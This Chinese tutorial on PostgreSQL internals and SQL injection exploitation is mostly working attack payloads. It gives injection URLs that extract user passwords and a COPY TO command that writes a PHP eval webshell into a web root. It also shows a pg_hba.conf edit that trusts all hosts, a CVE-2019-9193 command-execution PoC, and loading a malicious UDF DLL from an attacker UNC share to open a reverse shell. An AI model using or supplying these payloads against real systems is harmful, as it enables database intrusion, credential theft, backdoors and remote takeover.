PostgreSQL数据库的基本知识

PostgreSQL数据库介绍

PostgreSQL 是一个免费的对象-关系数据库服务器 (ORDBMS),在灵活的 BSD 许可证下发行。PostgreSQL 的 Slogan 是 “世界上最先进的开源关系型数据库”。PostgerSQL也简称Postgres。

Postgres在国内并不常见,但在国外的流行程度却不亚于MySQL。

基本语法

Postgres的基本语法与MySQL类似,如果对手工注入或SQL语法有较多了解不会有任何困难。

堆叠查询与代码块

  • Postgres 支持多行查询,语句间的分隔符为分号;,同时也只有分号是合法的分隔符。

  • 如果多行执行的语句中有超过一个语句会返回结果集,在命令行或者C#查询会执行前一个,在PHP中查询会执行后一个(虽然我也不知道是什么原理,但查询结果就是这样~)。

  • Postgres 支持以 begin;开始,以 end;结束的代码块,但代码块内执行的语句不会有任何返回结果。同时如果代码块之前一条语句会返回结果,则先前语句返回的结果集会被覆盖(即不返回任何结果)。

  • Postgres 支持以 begin;开始,以 end;结束的代码块,但代码块内执行的语句不会有任何返回结果。同时如果代码块之前一条语句会返回结果,则先前语句返回的结果集会被覆盖(即不返回任何结果)。

    例如:执行查询语句

    1
    2
    3
    4
    select 1;begin;select 2;end;
    # 不会返回任何结果集(在PHP查询中)
    begin;select 1;end;select 2;
    # 返回2(在PHP查询中)

Limit

在 postgres 中,limit 的语法为:

1
select [field list] from [table] limit count offset start;

其中 start 为起始位置(以 0 开始),count 为总数。

Unknown类型

Postgres 输入的所有字符串都被认为是 Unknown 类型。也就是输入本身是未定义类型,由数据库根据操作进行匹配转换,如果匹配失败则报错。

Unknown 类型有两种输入模式:单引号转义模式美元符逃逸模式

单引号转义模式

在单引号转义模式中允许使用前缀 `E/U&/B/X 表示转义字符串/Unicode 字符串/位串,其中 E 表示进行 c 语言风格的转义U 表示进行 Unicode 转义,并支持自定义转义符,B 和 X 代表后续跟随的是一个 bit 序列。例如以下查询都将返回制表符(0x09):

例如以下查询都将返回制表符(0x09):

1
2
3
4
5
6
select E'\t';
select E'\011';
select E'\x09';
select E'\u0009';
select U&'\0009';
select U&'!0009' uescape '!';

以 U&为前缀、双引号包含的字符串会作为表名、字段名与函数名等关键字使用。例如:

1
2
3
4
5
select U&"\0061" from test;		 					--等同于 select a from test

select a from U&"!0074est" uescape '!'; --等同于 select a from test

select U&"!0063hr" uescape '!' (97); --返回 a,等同于 select chr(97)

B 和 X 会将其后跟随的字符串转换为 bit 序列(即二进制数),例如以下查询都将返回 bit 值 01010101(如果是在 php 或查询分析器中查询,则返回字符串 01010101):

1
2
select B'01010101';
select X'55';

注:在 postgres 中由一个名为 standard_conforming_strings 的变量控制在没有任何前缀时是否自动进行 c 语言风格的转义。这个变量是一个 text 型的字符串,如果值为 on,则表示只有以 postgres 风格显式声明转义前缀的字符串会进行转义,如果不加前缀的话,则不会进行任何转义(除了两个单引号会被转 换为单引号之外);如果值为 off,则表示没有任何前缀的字符串将自动进行 c 语言风格转义。这个值在 9.1之前的版本为 off,而在 9.1 及之后的版本为 on。

例如,在 standard_conforming_strings 为 on 时,以下查询会成功执行并返回反斜杠:

1
select '\';

而在为 off 时,则会出现“未结束的引号字串”的错误信息。

美元符号逃逸模式

美元符逃逸模式是 postgres 专有的字符串声明格式,其目的是为了避免由于字符串中包含大量的反斜杠或单引号而进行的转义,其构成方式由一个美元符号$,一个可选的零个或多个字符“记号”,另外一个美元符号,一个组成字串常量的任意字符的序列,一个美元符号,以及一个和开始这个美元符包围的记号相同的记号,和一个美元符号组成。例如以下查询均返回单引号:

1
2
select $$'$$;
select $tag$'$tag$;

在美元符逃逸模式中没有任何字符串需要转义,也没有任何字符串会被转义,转义字符与前缀均不可用。唯一要注意的是被转义字符中不能出现与包围这些字符串的记号相同的字符串,例如上例中第二个语句中的字符绝不能出现,否则会在出现的地方截断,同时将之后的字符串作为查询的别名。如果查询的别名也由开始,同时没有匹配的结束标记,则会返回一个错误。

例如以下查询返回单引号,同时将指定别名 test$tag$

1
select $tag$'$tag$test$tag$;

而以下语句会返回“未结束的$符号引用的字符串”的错误信息:

1
Select $tag$'$tag$$test$tag$;

数据类型转换

Postgres 支持两种数据类型转换方式:使用 cast 语句或::运算符。

cast 语句的语法为:

1
cast([field/value] as type)

例如:

1
2
3
select cast( '1' as int);

# 返回数字 1

::运算符用于值或字段之后,效果同cast,但在语法上简便许多,在需要进行多次转换进行报错的时候无疑是很方便的。

例如:

1
2
3
select '1'::text::int;

# 返回数字 1

注:在 Postgres 中,转换会先判断类型,某些类型之间是不能互相转换的(例如 bytea 和 int),但几乎所有的类型都可以转换为 text。这样通过转为 text 再转为 int 的双次类型转换报错在注入中相当有用。

Schema与目录对象

关系型数据库一般都有着存放库、表、字段之间对应关系的表(或视图),postgres也不例外。

所不同的是 postgres 多出一个 Schema 对象,这也是 postgres 与其他数据库最大的几个不同点之一。

什么是 Schema?

Schema 是 Postgres 中的一个特殊对象,Schema 可以看作一个数据库中单独分割出的独立的数据库系统。利用 Schema 可以进行权限划分或水平的功能分割操作。

由于 Postgres 认为数据库是一个独立的个体,所以跨库操作是不允许的。但 Schema 属于数据库本身的一部分,所以跨 Schema 读取数据是完全可行的(前提是需要拥有读取的权限)。

跨 Schema 读取数据有两种方式,第一种是类似于 mysql 跨库查询的语句,例如执行查询:

1
2
3
select * from Manager.admin;

# 返回 Manager Schema 中表 admin 的内容。

或者使用

1
set search_path to [Schema Name];

修改查询路径。

例如执行:

1
2
3
4
set search_path to manager;
select * from admin;

#也将返回 Manager Schema 中表 admin 的内容。

注意:这条语句在注入中不会起到任何作用。

另:默认使用的 Schema 名称为 public,这是 postgres 建立一个数据库时自动生成的 Schema

Postgres 中有一种名为目录的特殊的 Schema,它由系统在建立数据库时生成。目录所包含的对象叫目录对象,可以理解为 Schema 中的表;目录对象中包含字段。

默认情况下会生成两个目录:pg_cataloginformation_schemapg_catalog 中存放当前数据库的对象,例如系统函数、默认视图、大对象等。

information_schema 存放的则是当前数据库的架构信息。

通过 pg_catalog 获取数据库关键信息

获取数据库名称

所有的数据库名称存放于 pg_database 目录对象的 datname 字段中,这个目录对象与字段任何用户均可读取。

例如:以下语句会返回所有的数据库名称。

1
select datname from pg_database;

注意:名称以 template 开头的数据库为 postgres 自动生成的临时数据库,不需要理会。

获取数据库文件信息

数据库的配置信息储存于 pg_settings 目录对象中,其中 name 字段为设置选项的名称,setting 字段为选项的值。

这些配置信息中最为重要的便是几个目录信息:数据库文件目录(data_directory)与数据库认证配置文件路径(hba_file),不过只有在 super 权限下才能进行读取。

例如,使用以下语句会返回以上两个目录信息(需要 super 权限)

1
select name,setting from pg_settings where name in ('hba_file','data_directory');
获取数据库用户信息

数据库的用户信息存放于 pg_authid 目录对象中,只有在 super 权限下才能进行读取(super 可以看作是 mssql 中的 sysadmin,是 postgres 中最高的权限组;无论何时,postgres 用户总拥有最高的权限)。这个目录对象记录了所有的用户信息,最为重要的是用户名及加密后的密码。其中用户名储存于 rolname 字段,密码储存于 rolpassword 字段。

使用以下语句可以查询出数据库所有的用户与加密后的密码:

1
select rolname,rolpassword from pg_authid;

注:postgres 密码加密方式为 ‘md5’+md5(密码+用户名)

pg_user 是一个视图,其中映射了 pg_shadow 视图(这个视图映射了 pg_authid 的部分字段)的内容。除了密码被替换为一串星号,其余的数据完全相同。

事实上我们只需要关心这个视图内的一个字段:usesuper,这个字段为一个布尔值,表明是否为 super用户。

例如,使用以下语句即可判断当前用户是否具有 super 权限:

1
select usesuper from pg_user where usename=current_user;

通过 information_schema 获取数据库架构信息

和 mysql 类似,postgres 中也有储存数据库表段与字段的 information_schema 对象,所不同的是 mysql中的 information_schema 是独立的数据库,而在 postgres 中为在数据库中共享的目录对象。

information_schema 目录存放了当前数据库全部的架构信息,例如全部的表名,表中全部的字段,字段之间的关系等等。在注入利用中,最需要关心的只有三点:所有的 Schema、所有的表与其所属的 Schema、所有的字段与其所属的表。

所有的 Schema 信息存放于 schemata 目录对象中,schema_name 字段存放的就是 Schema 的名称(可以看到 information_schema 也在其中)。不过很遗憾,非 super 权限不能从这个目录对象中读取到任何内容。

所有的表名存放于 tables 目录对象中,所有的字段名存放于 columns 目录对象中,这两个表在非 super用户下也可以进行读取操作。

这两个表均包含 table_schema 字段,用以表示所属的 Schema。这样利用以下语句即可获取完整的Schema 信息

1
select table_schema from information_schema.tables where table_schema not in ('pg_catalog','information_schema') group by 1;

所有表信息则存放于 tables 目录对象的 table_name 字段中,使用以下语句即可查询出所有的用户表:

1
select table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') group by 1;

所有字段信息则存放于 columns 目录对象的 column_name 字段中,同时由 table_name 字段记录对应的表名。使用以下语句即可查询出所属于 Manager.admin所有字段

1
select column_name from information_schema.columns where table_schema='manager' and table_name='admin';

常用SQL语句总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# 获取安装目录下的文件
select pg_ls_dir('./');

# 获取数据库的IP地址
select inet_server_addr();

# 获取当前数据库用户名
select CURRENT_USER;

# 显示当前用户及是否为Super权限
select concat_ws(':',usename,usesuper::text) from pg_user where usename=current_user;

# 获取数据库版本
select version();

# 获取当前数据库
select current_database();

# 获取所有数据库
select datname from pg_database;

# 获取当前schema
select CURRENT_SCHEMA;

#获取当前数据库的所有schema
select table_schema from information_schema.tables where table_schema not in ('pg_catalog','information_schema') group by 1;

# 获取所有表名
select table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') group by 1;

# 获取所有字段名
select column_name from information_schema.columns where table_schema='manager' and table_name='admin';

# 获取数据
select array(select row(username,password) from "Users");

# 显示所有 Schema、表、字段并按照对应关系进行排列(仅用于多行执行可用的情况下)
with a as (select table_name tname,array_agg(column_name::text)cname,array_agg(table_schema::text)sname from information_schema.columns where table_schema not in('pg_catalog','information_schema') group by 1),b as(select unnest(sname)sname,tname,unnest(cname)cname from a order by 1)select array(select row(sname,tname,cname)::text from b);

# 显示所有 Schema、表、字段并按照对应关系进行排列(任意情况均可用)
select array(select row(sname,tname,cname)::text from(select unnest(sname)sname,tname,unnest(cname)cname from (select table_name tname,array_agg(column_name::text)cname,array_agg(table_schema::text)sname from information_schema.columns where table_schema not in('pg_catalog','information_schema') group by 1 )a order by 1)b);

联合查询注入

联合注入的特点是数据库通过执行 Union Select 语句返回的结果集中有一行或多行会被 web 应用程序处理并返回结果,也是最常见最常用的注入方式。

联合注入根据显示方式可以分为 Union-Select、Union-List、Union-Image、Union-Download 四种,其中由于前两种极为常见这里一笔带过,重点对Union-Image和Union-Download 两种较为少见的注入点体现进行讲解。

Postgres 在进行联合查询操作时对数据类型是敏感的,如果类型不匹配的话,则会返回“Union类型的类型 XXX 与 XXXX 不匹配”的错误。由于 Unknown 类型可以转换为绝大多数类型,所以可以使用’1’,’2’,’3’……代替1,2,3,从而实现自动匹配。

注:不建议用 null 进行匹配,因为有时可能会因此导致缺少一个甚至多个重要的输出位置,用单引号或美元符引起的字符串作为替代是最好不过的做法了。

联合注入常用函数:

  • concat() & concat_ws():在查询多个字段时,可以使用 concat_ws()concat() 函数将多个字段的结果聚合到一起。这两个函数在使用上与 mysql 与之同名的两个函数没有任何不同。
  • row():当需要将某一行中几个字段聚合到一起时,可以使用 row()函数。
  • array_agg():在需要将某个字段的值聚合到一行时,可以使用 array_agg() 函数。
  • array():当需要把某个查询的结果集作为一行输出时,可以使用 array() 函数。

Union-Select注入

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 获取当前数据库
index.php?id=-1 union select 1,(select current_database()),'3' --+

# 获取当前schema
index.php?id=-1 union select 1,(select CURRENT_SCHEMA),'3' --+

# 获取schema为public的第1张表名
index.php?id=-1 union select 1,(select table_name from information_schema.tables where table_schema='public' limit 1 offset 0),'3' --+

# 获取schema为public的第2张表名
index.php?id=-1 union select 1,(select table_name from information_schema.tables where table_schema='public' limit 1 offset 1),'3' --+

# 获取public.Users的第1个字段名
index.php?id=-1 union select 1,(select column_name from information_schema.columns where table_schema='public' and table_name='Users' limit 1 offset 0),'3' --+

# 获取public.Users的第2个字段名
index.php?id=-1 union select 1,(select column_name from information_schema.columns where table_schema='public' and table_name='Users' limit 1 offset 1),'3' --+

# 获取public.User表的数据
index.php?id=-1 union select 1,(select concat_ws('--',username,password) from public."Users" limit 1 offset 0),'3' --+

Union-List注入

顾名思义,Union-List 型注入点所在脚本文件会遍历查询返回的结果集中每一行,并在将其处理后输出到页面。

Union-Select与Union-List的区别在于前者只能查询一行,而后者可以查询多行。

例如:访问

1
List.php?type=article' union select  1111,'2222','3333','4444' --+

会发现列表中多出了一条名为 3333 的项,同时其链接指向 1111,可以确认 1、3 为两个显示位。

此时访问:

1
List.php?type=article' and 1=2 union select 1,'',table_schema,'' from information_schema.tables where table_schema not in ('pg_catalog','information_schema') --+

即可列出所有的 Schema

具体payload构造参考Union-Select,不做详解。

Union-Image注入

一种特殊的 Union-Select 型联合注入,这里暂时称之为 Union-Image 型注入。这种注入的主要不同点在于数据库中储存的字段不是常见的数值或字符串,而是 bytea 型数据(类似于 MSSQL 中image 类型)。bytea 可以看作是字节数组(byte-array),由于 postgres 允许将 varchar/text 类型转换为bytea,同时也可以自动从 Unknown 类型进行转换(执行这两种转换时,会将字符串代表的内容转换为对应的以数据库默认字符编码转换后的值,默认为 UTF8),所以实际在注入时并没有太明显的区别。

要注意的事项有两点:

  1. 由于服务器脚本在处理返回字段时会将此字段表达的字节直接输出到 Response 流中(只有这样用户才能从浏览器中看到完整的图片),所以某些需要判断关键字的注入工具在这里是不起作用的,只能通过手
    工进行注入。

  2. 由于服务器可能会返回 image/jpeg 头,在浏览器中测试可能导致即使注入成功也只会返回一个错误图片的红叉,所以建议一旦确定是 Union-Image 型注入,建议转为使用 Burp 等工具进行操作。

例如,访问:

1
Image.php?id=1 and 1=2 union select 1,'2','%e6%96%b0'--

则会返回字符“新”(%e6%96%b0 为 URL 编码后经过 UTF8 编码后的“新”

访问:

1
Image.php?id=1 union select 1,'',table_schema::text::bytea from information_schema.tables where table_schema not in ('pg_catalog','information_schema') group by 1 --+

即可列出第一个 Schema 名称,逐渐修改 offset 的值即可获取所有的 Schema 名称。

Union-Download注入

最后一种暂时称之为 Union-Download 型注入点,也就是服务器将上传的文件保存在某个目录下(例如为了安全起见,统一保存在网站目录上一级中的 uploads 目录中,即/../uploads,以防止上传攻击),同时在数据库中保存文件的路径。用户下载文件时服务器脚本根据传递的 id 获取文件路径,读取文件并直接输出到 Response 流。

这种 Union-Download 型注入点并不是非常常见,但一旦发现,则必然是一个危害性不亚于注入的任意文件下载漏洞。在非文件服务器与 web 服务器分离的情况下可能通过此注入点下载网站所有脚本并进一步攻击,危害可谓极大(在 linux 权限划分极为严格的情况下,postgres 用户是不可能访问网站目录的。而此漏洞却突破了这个限制,危害自然不言而喻)。

Download.php 模拟了此种注入的情形,访问:

1
Download.php?id=1 and 1=2 union select '1','/download.php','3' --+

报错注入

借助强制类型转换所导致的报错来获取信息。这就需要一个前提:服务器脚本可以返回一些数据库错误信息。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 获取当前数据库
?id=1;select a::int from (select '~'||current_database() as a)x --

# 获取当前schema
?id=1;select a::int from (select '~'||CURRENT_SCHEMA as a)x --

# 获取schema为public的第1张表名
?id=1;select a::int from (select '~'||table_name as a from information_schema.tables where table_schema='public' limit 1 offset 0)x --

# 获取public.Users的第1个字段名
?id=1;select a::int from (select '~'||column_name as a from information_schema.columns where table_schema='public' and table_name='Users' limit 1 offset 0)x --

# 获取public.User表的数据
?id=1;select a::int from (select '~'||concat_ws('--',username,password) as a from public."Users" limit 1 offset 1)x --

布尔型盲注

当服务器脚本屏蔽了错误回显,同时不能使用 union 的情况下,可以采用盲注的手法获取数据。

这种盲注手法需要用到两个函数:substr()ascii()。substr 用于从指定位置截取指定长度的字符串,ascii 用于将字符转换为 ascii 码。

获取到 ascii 码之后,将其与数字进行比较即可获取字符串的值,例如以下payload会在当前的Schema 名称的首字母为小写时返回 true:

1
?id=1 and ascii(substr(current_schema(),1,1)) between 97 and 122

通过构造不同语句,逐个获取字符并比较,即可取得任何的信息。

时间型盲注

基于时间的盲注,通过判断延时语句是否执行来获知条件是否为真或语句是否执行。

在 postgres 中,延时的语句为pg_sleep(int)。其中 int 表示要等待的秒数。

1
?id=1;select pg_sleep(5) where (select ascii(substr(CURRENT_USER,1,1)) > 90) --+

通过构造不同语句,逐个获取字符并比较,即可取得任何的信息。

文件操作

copy

网上能够找到的资料中 postgres 注入读写文件大多都是使用 copy 操作符。copy 可以从将文件导入数据库,或是从数据库导出文件。

copy from 导入文件

可以配合堆叠注入,先新建一个表,再将文件内容导入到表中。

1
2
create table test_for_copy(data text);
copy test_for_copy(data) from 'c:/temp/file.txt';

之后使用 select 语句便可进行查询。

看起来似乎很美好,但 copy from 有以下缺陷:

  1. 分隔符

    默认情况下 postgres 认为制表符(\t,0x09)为两个字段的分隔符,同时以换行符作为每一
    行的分隔符。如果要导入的文件中含有制表符,那么制表符至下一个换行符之间的内容都被认为是另一个字段,如果目标表只有一个字段,则会出错。

    这其实不是什么太大的问题,copy 提供 delimiter 选项用以制定分隔符,例如以下语句将分隔符指定为 0x7f(这个符号在绝大多数文本文件内不可能出现):

    1
    copy test_for_copy(data) from 'c:/temp/files.txt' with delimiter E'\x7f';
  1. 遇到\.时会终止并报错

    如果一个文件中包含\.,那么使用 copy from 语句导入时会返回“copy
    命令结束标记损坏”的错误(原因是\.是 copy from stdin 模式下的结束标识,具体参考本节最后的官方文档)。
    一个典型就是 apache 的配置文件。大大多数情况下 apache 配置文件中都有以下语句:

    1
    <FilesMatch "^\.ht">

    由于出现了\.,所以语句将出错,导致无法导入。而在找不到网站路径时读取配置文件是相当重要且行之有效的方法,出现这种情况非常令人恼火。

  1. 导入文件编码必须与服务器编码相对应

    Copy from 只能导入与服务器编码相同的文本文件(一般为默认值 UTF8),如果导入文件中以服务器编码加载时出现无效字符,则会返回“无效的 XXXX 编码字节顺序”的错误,其中 XXXX 为编码名称,如 UTF8。例如,在一个文本文件中写入文本“测试”了,并以 ANSI 编码保存(这样在简体中文操作系统中文件实际的编码为 GB2312),执行语句:

    1
    copy test_for_copy(data) from 'c:/temp/files.txt';

    会返回以下错误信息:无效的 "UTF8" 编码字节顺序: 0xb2

    同样的,既然无法导入不同编码的文件,那么导入二进制文件更加是不可能的。如果通过某些漏洞(例如编辑器带来的目录遍历)获取到服务器重要备份文件路径(非 web 目录下),结果却无法将其下载下来,这无疑会让人十分恼火。

copy to 导出文件

copy to 可以将一个表中的字段或一个查询的结果导出到文件中,用于脱裤是很方便的。

例如,以下语句会将 files 表的内容全部备份到 c:/temp/files.txt

1
copy files to 'c:/temp/files.txt';

以下语句会将 php 一句话<?php @eval($_POST['pass']);?>写入 C:\Wamp\apache2.4\htdocs\WWW\a.php

1
copy (select $$<?php @eval($_POST['pass']);?>$$) to 'C:\Wamp\apache2.4\htdocs\WWW\a.php';

但是 copy to 也有一个缺点:任何不能转换为字符串的字节都将被转换为八进制形式。

AdminPack

Adminpack 是 postgres 在 8.2 新加入的一个拓展,这个拓展可以包含一系列函数,可以在允许的范围内进行文件操作。

这些函数大多数并没有添加,需要手动进行添加。已经添加的函数列表如下,adminpack 会将其指定为另一个别名(原始名称仍可用):

1
2
3
pg_read_file(text, bigint, bigint)
pg_stat_file(text)
pg_rotate_logfile()

其余函数的添加语句见 postgres 安装目录下:

/share/extension/adminpack-1.0.sql(windows)

或 postgres 源码目录下:

/contrib/adminpack/adminpack--1.0.sql(linux,仅源码安装方式)

注意:在 linux 下需手动编译 adminpack.c,命令为

1
2
3
gcc $PGSRC/contrib/adminpack/adminpack.c -shared -fPIC -/usr/local/pgsql/include/server -o adminpack.so

# 其中$PGSRC 为 postgres 源码路径

注:由于 pg_ls_dir(text)pg_read_binary_file(text, bigint, bigint)两个函数与 adminpack 函数极为相似,所以在此也归为 adminpack 函数中。

adminpack的局限性

adminpack 可以进行在允许的范围内文件操作,但范围只限于数据目录中。也就是说,在数据目录外的文件不可能通过 adminpack 函数进行操作。

Adminpack 函数的源代码见:

可以看到,这些进行文件操作的函数都经过 convert_and_check_filename 函数进行检测。如果使用绝对路径查询,会返回“不允许使用绝对路径”的错误;如果路径中使用了..跳转到上级目录,则返回“路径必须在当前目录或子目录下”的错误。

这样,adminpack 只能读取数据目录的文件或向其中写入文件,限制目录的文件读取作用有限,同时由于 pg_file_write 的函数签名为 pg_file_write(text,text,boolean),其中第一个参数为路径,第二个参数为要写入的内容,第三个参数为是否追加,导致写入二进制文件是不可能的(postgres 不允许 0 字符)。

当然,adminpack 也不是完全没有用处,由于 postgres 对于登陆的授权文件 pg_hba.conf 也处于 data目录,刚好可以由 adminpack 函数编辑。所以当可以使用 adminpack 函数时,可以尝试以下操作:

写入pg_hba.conf文件

执行查询语句:

1
select inet_server_addr();

将返回数据库的 IP 地址(相对于本次连接),如果为 127.0.0.1,则说明与 web 服务器为相同 ip。

之后执行查询语句:

1
select pg_file_write('pg_hba.conf',chr(10)||'host all all 0.0.0.0/0 trust'||chr(10),true);

这将在 pg_hba.conf 末尾添加一条授权,表示允许来自任何 ip 的任何用户使用任何用户(包括 postgres)连接任何数据库,同时信任本次连接,不要求任何授权验证(除非有其余语句显式限制了某个 IP 段)。

读取pg_hba.conf文件

执行查询语句:

1
select pg_read_file('pg_hba.conf')::int;

读取 pg_hba.conf 并分析,必要时将 pg_file_write 函数的第三个参数设为 false,从而达到覆盖配置文件的效果。

然后等待数据库服务器重启(windows 下面配置文件一经修改会自动重新加载,可以直接进行连接),最后即可使用 psql 工具远程连接数据库执行查询,或是用 pgadmin/pg_dump 脱裤。

1
2
# 连接远程数据库 192.168.123.188,并将 test 数据库备份到本地 back.backup 文件中
pg_dump.exe -w --host 192.168.123.188 --username "postgres" --compress 9 --no-password --blobs --section pre-data --section data --section post-data --encoding UTF8 --inserts --column-inserts --verbose --file back.backup "test"

Large Object

Large Object 可以近似的看作储存于数据库中的逻辑文件,在使用时可以完全的将其作为文件进行操作。

注:操作 Large Object 要求 super 权限。

创建大对象

创建大对象有两种方法:新建或导入。

使用 lo_creat 函数即可创建一个空的大对象,并由系统自动分配 oid,例如执行语句:

1
select lo_creat(-1);

会返回一个 oid,例如 73954。

也可以使用 lo_create 函数创建空的大对象,并将大对象与指定的 oid 相关联。例如执行语句:

1
select lo_create(-1);

会返回 4294967295,表示成功创建 oid 为 4294967295 的大对象。

或者可以使用 lo_import 将某个已存在的文件导入为大对象,并由系统自动分配 oid,例如执行语句:

1
select lo_import('c:/windows/system32/cmd.exe');

会返回一个 oid,例如 73955,同时大对象中的数据即为完整的 cmd.exe。

也可以手动指定大对象的 oid,注意这个 oid 不可与其他大对象的 oid 相重复,例如执行语句:

1
Select lo_import('c:/windows/system32/cmd.exe',12345678);

会返回 12345678,表示成功创建 oid 为 12345678 的大对象并将 cmd.exe 导入其中。

打开大对象

创建完大对象后便可以使用 lo_open 打开这个大对象,lo_open 的函数签名为 lo_open(oid, int),第一个参数为大对象的 oid,第二个参数为读写模式,是一个常量。

这个函数在官方函数文档中没有任何说明,在 API 文档中的说明为“打开一个大对象返回其操作描述符”,但实际上在查询语句中使用时不论如何都会返回 0。

而读写模式也没有任何说明,对照 API 文档并结合源码最终发现这个模式在文件:include/libpq/libpq-fs.h中提供了定义:

image-20211011141407201

这个模式可以进行位操作,指定其为 INV_READ|INV_WRITE (0x00060000)即代表可以同时进行读写操作。

综上,可以使用以下语句打开一个大对象,并指定操作为写入:

1
select lo_open(73954,x'20000'::int);

注:打开一个大对象之后,大对象的数据指针会指向其最开始的那个字节。

写入大对象

写入大对象需要使用函数 lowrite( 注意这里没有下划线 ) , lowrite 的函数签名为lowrite(int,bytea),第一个参数为由 lo_open 函数打开所返回的句柄,第二个参数为要写入的内容(从这里就能看出,可以向大对象中写入任何内容)。同样的,这个函数在官方函数文档也没有任何说明。

例如以下语句会将 0xfeffbf 写入 oid 为 73954 的大对象中:

1
2
select lo_open(73954,x'20000'::int);
select lowrite(0,decode('feffbf','hex'));

注意:这里使用 decode 函数将 hex 值转换为字节数组,直接使用 unknown 类型是不正确的。

有时候可能需要分多次将数据导入同一个大对象中,这就要求每一次进行写操作前大对象的数据指针都指向末尾,使用 lo_lseek 函数即可完成这一点。

lo_lseek 的函数签名为 lo_lseek(int,int,int),第一个参数为由 lo_open 函数打开所返回的句柄,第二个参数为相对位置,第三个参数为相对位置的起始点,是一个常量。

lo_open 类似,这个在官方函数文档没有任何说明,通过对比 API 文档并查看源码最终在文件:include/zconf.h中发现以下定义:

image-20211011192152967

综上,可以使用以下语句打开 oid 为 73954 的大对象,并将其数据指针指向末尾:

1
2
select lo_open(73954,x'60000'::int);
select lo_lseek(0,0,2);

之后便可以使用 lowrite 函数直接向这个大对象中写入内容。

导出大对象

当完成对一个大对象的导入/写入操作后,接下来需要做的就是获取其内容(针对导入,即读取文件)

将大对象导出可以使用 lo_export 函数,这个函数的签名为lo_export(oid,text),第一个参数为要导出的大对象的 oid,第二个参数为导出的路径,如果导出路径为相对路径,则会导入至当前的数据目录中。

例如,执行以下语句会将 oid 为 73954 的大对象导出至 c:/windows/temp/123.txt

1
select lo_export(73954,'c:/windows/temp/1.txt');

Postgres 会将所有的大对象数据保存于 pg_catalog 目录下的 pg_largeobject 目录对象中,这个目录对象有三个字段,loid、pageno、data。

  • loid 代表大对象的 oid,与 lo_create 等函数的返回值相同。
  • pageno 为分页序号,大对象的数据会被分为多个页进行储存,这个字段就是每个页之间的序号。
  • Data 为储存在这一页中的部分大对象数据,为 bytea 类型。

于是在知道 oid 的时候,可以使用以下语句获取一个大对象中所有的数据:

1
select array_agg(b)::text::int from(select encode(data,'hex')b,pageno from pg_largeobject where loid=73957 order by pageno)a--

从返回的错误信息中去掉花括号、逗号,仅保留 HEX 字符,之后将所有的 HEX 字符粘贴到 winhex 中即可完整的还原这个大对象。

关闭大对象

当需要关闭一个大对象时,可以使用 lo_close 函数,这个函数的签名为 lo_close(int),参数为由lo_open 函数打开所返回的句柄。

例如,使用以下语句即可关闭已经打开的大对象:

1
2
select lo_open(73954,x'60000'::int);
select lo_close(0);

删除大对象

最后,如果需要删除一个大对象,需要使用 lo_unlink 函数,例如执行以下语句会将 oid 为 73954 的大对象永久删除。

1
Select lo_unlink(73954);

另:一个小技巧。在 linux 系统下如果 lo_import 等函数的第一个参数指向的路径是一个目录,则会返回以下错误:

ERROR: could not read server file "/": 是一个目录

而在 windows 下会返回:

错误: 无法打开服务器文件 "c:/windows/temp": Permission denied

这个错误提示在注入中可以用来猜测目录,在有时会有意想不到的收获。

高权限命令执行漏洞 [CVE-2019-9193 ]

受影响版本

  • PostgreSQL 9.3至11.2

其9.3到11版本中存在一处“特性”,管理员或具有COPY TO/FROM PROGRAM权限的用户,可以使用这个特性执行命令。

POC:

1
2
3
4
5
6
7
DROP TABLE IF EXISTS cmd_exec;

CREATE TABLE cmd_exec(cmd_output text);

COPY cmd_exec FROM PROGRAM 'whoami';

SELECT * FROM cmd_exec;

image-20211011204600384

可以看到成功执行了系统命令,不过能够执行的命令有限。

利用UDF函数获取反弹Shell

Postgres 支持许多种语言自定义函数,默认情况 下开启 plpgsql 和 c,其中 plpgsql 为标准的 sql 语句,而 c 则与 mysql UDF 类似,会加载一个动态链接库到进程空间。这样如果将 UDF 中的函数实现替换为特定的代码,就能在数据库权限下进行更多的操作(例如执行某些命令,或是干脆直接反弹回一个 shell等等)。

如果是其他类型数据库的注入点直接加载 UDF 似乎是不可能的,不过 postgres 强大的 Large Object将这一切变为了可能。

在进行这一特性的利用之前,首先需要了解如何编写 postgres 的 UDF 函数。这需要使用 postgres 附带的头文件。

首先需要生成一个编写一个恶意动态链接库文件(可以使用sqlmap生成)。

另:建议将生成的动态链接库文件使用 UPX 进行压缩,这样可以有效地减少文件体积。

image-20211011223750392

假设现在已经拥有保存于 c:/windows/temp/test.dll、导出函数名为 GetResvShell 的一个 UDF 文件。同时这个函数会接受两个参数,第一个参数为 text 类型,表示要反弹到的远程主机,第二个参数为 int 型,表示远程主机的端口,并且会返回一个 int 型的数值表示执行的结果,那么使用以下 sql 语句即可将此文件与其导出函数 GetResvShell 注册为函数 test:

1
create or replace function test(text,int) returns int as 'c:/windows/temp/test.dll','GetResvShell' language c;

注:不止可以使用绝对路径,也可以使用UNC来加载动态链接库。

1
create function test(text, integer) returns int as '//attacker/share/test.dll', 'GetResvShell' language c;

最后,在远程主机监听 8888 端口,同时执行:

1
select test('192.168.123.42',8888);

即可获取一个与 postgres 相同权限的 shell。

当然,这里只是本地进行测试的过程,而真正在注入点要比这繁琐一些:

首先需要查看是否为 super 权限:

1
select usesuper::text::int from pg_user where usename=current_user;

如果确认为 super 权限,同时可以通过联合查询返回结果则执行以下语句:

1
select '1','2',lo_creat(-1);

否则创建临时表保存返回的 oid:

1
create table tempAD4EA(id oid);insert into tempAD4EA values(lo_creat(-1));

进行强制类型转换或盲注获取结果:

1
2
3
4
5
6
7
8
# 强制类型转换报错
select (''||(id::text))::int from tempAD4EA --

# 盲注
(省略服务端脚本中部分) and (select id from tempAD4EA) > 0 --

# 基于延时的盲注
select pg_sleep(5) where (select id from tempAD4EA) > 0 --

记下返回的 OID,以供后续使用。

删除临时表:

1
drop table tempAD4EA;

查看数据库版本,选择正确的 UDF:

1
select version()::int;

根据 OID 打开之前的大对象,并向其中写入内容(语句中的 OID 为先前返回):

1
select lo_open(OID,x'60000'::int);select lo_write(0,decode('HEXCODE','hex'));

